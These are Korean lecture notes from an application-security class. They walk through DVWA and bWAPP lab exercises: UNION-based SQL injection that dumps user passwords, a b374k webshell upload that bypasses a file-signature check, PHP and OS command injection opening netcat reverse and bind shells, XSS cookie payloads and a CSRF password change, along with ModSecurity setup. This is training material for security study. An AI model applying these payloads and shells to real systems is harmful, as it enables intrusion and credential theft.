애플리케이션 보안 수업 7일차 (22/09/14)
- Blind SQL Injection
- DB에 대한 정보가 없는 상태에서 sql문 조작해 정보 알아내는 방법
- 에러는 힌트가 되어 오류 발생 → 자동화된 도구 사용(SQLmap)
- Command Execution
- 공격자는 검색창에 리눅스 명령어 실행
DVWA SQL Injection 실습)
목적 : 모든 사용자 ID와 PW 알아내기
select id,,firstname,surname from ??? where id='
Q. 컬럼 개수 확인
A. ' union select 1 # // 컬럼 개수 안 맞음
' union select 1,2 # // 정상 실행
' union select 1,2,3 # // 컬럼 개수 안 맞음
Q. DB 이름 확인
A. ' union selecct database(),version() #
→ dvwa
Q. Table 이름 확인
A. ' union select table_name,null from information_schema.tables #
→ 많은 양의 결과값
' union select table_name,null from information_schema.tables where table_schema='dvwa' #
→ dvwa 지정
Q. Column 이름 확인
A. ' union select column_name_null from information_schema.columns #
' union select column_name_null from information_schema.columns where table_schema='dvwa' and table_name='users' #
Q. user, password 추출
A. ' union select user,password from users #
→ dvwa에 있는 users 테이블에서만 데이터 추출
※ 참고 : columns 테이블과 tables 테이블에 table_name에 대한 정보 중복돼서 저장되어있기 때문
DVWA File Upload 실습)
① Medium
b374k-2.8php 파일 업로드 (pw : b374k)
→ proxy 도구 활용 upload된 모든 webshell 삭제
② High
- View Source 보면 strtolower : string을 모두 소문자로 변환하는 함수(대소문자 조작 불가)
확장자 검증 : jpg or jpeg or png만 업로드 가능
AND 조건으로 100kbyes 이하 가능
b374k-2.8php → 업로드 불가능
b374k-2.8png → 확장자만 보는 게 아니고 File Signature 확인
※ File Signature
- 파일 정체성을 나타내는 부분
- 파일의 맨 앞부분에 특정 표시 → 운영체제, Application에서 읽어들여 어떤 파일인지 확인
- Magic Number라고도 부름
- HxD.exe
- Hex editor : 헥스 편집기
- PNG : 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
- JPG : FF D8 FF E0 00 10 4A 46 49 46 (ÿØÿà..JFIF) → FF D8로 시작 , FF D9로 끝
- EXE : 4D 5A (MZ : Mark Zbicowski) → MZ 없인 파일 실행 불가
- pptx, docx, xlsx, apk, zip 파일 : 50 48 03 04 (PK : Phill Katz)
b374k-2.8.png 파일 HxD에서 오픈 실습)
89 50 4E 47 0D 0A 1A 0A 추가 > 저장 > 업로드
http://192.168.5.128/dvwa/hackable/uploads/b374k-2.8.png
→ 웹쉘 실행 안됨, png라서 apache2에서 실행 불가능
Q. 확장자 png > php 변경
A. 리눅스 명령어 mv 이용 (레벨 > Low , Command Injection에서 사용)
; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php
(pw : b374k)

- 웹 해킹 대응 방법
웹 방화벽 차단 가능 공격 | 웹 방화벽 차단 불가능 공격 |
SQL Injection | 검색엔진 정보 노출 |
Webshell Upload (98%) | 난독화된 웹쉘 등 스트립트 업로드 (2%) |
임의파일 다운로드 취약점 |
- Modsecurity 설치
$ sudo apt update
$ sudo apt install libapache2-mod-security2
$ sudo a2enmod security2
$ sudo systemctl restart apache2
$ sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
$ sudo vi /etc/modsecurity/modsecurity.conf // ※ : set nu 라인 보기
변경 > SecRuleEngine DetectionOnly → SecRuleEngine On
> SecAuditLogParts ABDEFHIJZ → SecAuditLogParts ABCEFHJKZ
:wq //저장 후 종료
$ sudo systemctl restart apache2
- Modsecurity Rules 다운로드
$ sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz
$ sudo tar xvf v3.3.0.tar.gz
$ sudo mkdir /etc/apache2/modsecurity-crs/
$ sudo mv coreruleset-3.3.0/ /etc/apache2/modsecurity-crs/
$ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/
$ sudo mv crs-setup.conf.example crs-setup.conf
- Modsecurity 설정
$ sudo vi /etc/apache2/mods-enabled/security2.conf
변경 > IncludeOptional /etc/apache2/modsecurity-crs/coreruleset-3.3.0/crs-setup.conf
IncludeOptional /etc/apahce2/modsecurity-crs/coreruleset-3.3.0/rules/*.conf
$ sudo apache2ctl -t
$ sudo systemctl restart apache2


Beebox A1. Injection /PHP Code Injection 실습)
- message 클릭 > test로 출력 (Reflected)
- URL에 test 대신 hello 삽입 시 hello 출력
Q. 리눅스 명령어 실행
A. ?message=exec('pwd')
?message=shell_exec('whoami')
?message=system('pwd') // 두 번 뜸
?message=passthru('ps -ef')
?message=passthru('cat /var/log/wtmp') // 로그 일부 확인 가능
- kali로 netcat 이용해 연결
// 윈도우 victim : -e cmd.exe , 리눅스 victim : -e /bin/sh
- Kali : attacker (Server)
$ nc -l -p 8888
- Beebox : victim (Client)
http://192.168.5.130/bWAPP/phpi.php?message=exec('nc 192.168.5.129 8888 -e /bin/sh')
→ 반응 없음 → cat /etc/group 보면 확인 가능
※ 참고 : 대부분 리눅스에 netcat 존재
Beebox A1. Injection /OS Command Injection 실습)
입력 칸 입력
- Beebox : victim (Server / Backdoor)
; nc -l -p 7777 -e /bin/sh
- Kali : attacer(Client)
$ nc 192.168.5.130 7777
Beebox Injection (GET/Select) 실습)
Q. Id와 pw 알 수 있다
A. ?movie=2 (iron man)
?movie=5 union select user,password from users // 컬럼 개수 맞지 않음(7개)
?movie=5 union select 1,login,password,4,5,6,7 from users // 1~10 까지 DB 존재, 없는 번호 11,12 사용
Beebox A3. XSS /Reflected (GET) 실습)
스크립트 실행 : <script>alert('good')</script>
① Low : 그냥 실행
② Medium
$ cd /var/www/bWAPP
$ sudo vi xss_get.php // (xss_check_4() 사용)
$ sudo vi functions_external.php
→ functions_external.php 파일에 보안 수준에 따른 설정되어 있음
※ 참고 : addslashes함수는 ', ", \, NUL 앞 \ 붙여 Escape처리
(Escape 처리 : 특수문자가 기능을 하지 못하도록 하는 것 → 모양 그대로 출력됨)
- 쿠키값 출력 : <script>alert(document.cookie)</script>

- CSRF (Cross Site Request Forgery)
- 스크립트 활용하는 공격으로 Client에게 주어진 권한으로 웹서버에 요청 보내 공격 방법
ex) 자동 댓글 달기, 패스워드 변경
Beebox A8. CSRF /Change Password 실습)
Low : 소스코드 57~67번 라인 복사 > 메모장에 붙여넣기
> 57번 라인 /bWAPP 앞에 내 bWAPP IP 넣기
> 60,63번 라인 type="password" → "text"로 변경
> csrf.html로 저장 후 열어 pw를 sandwich로 입력 후 change 클릭
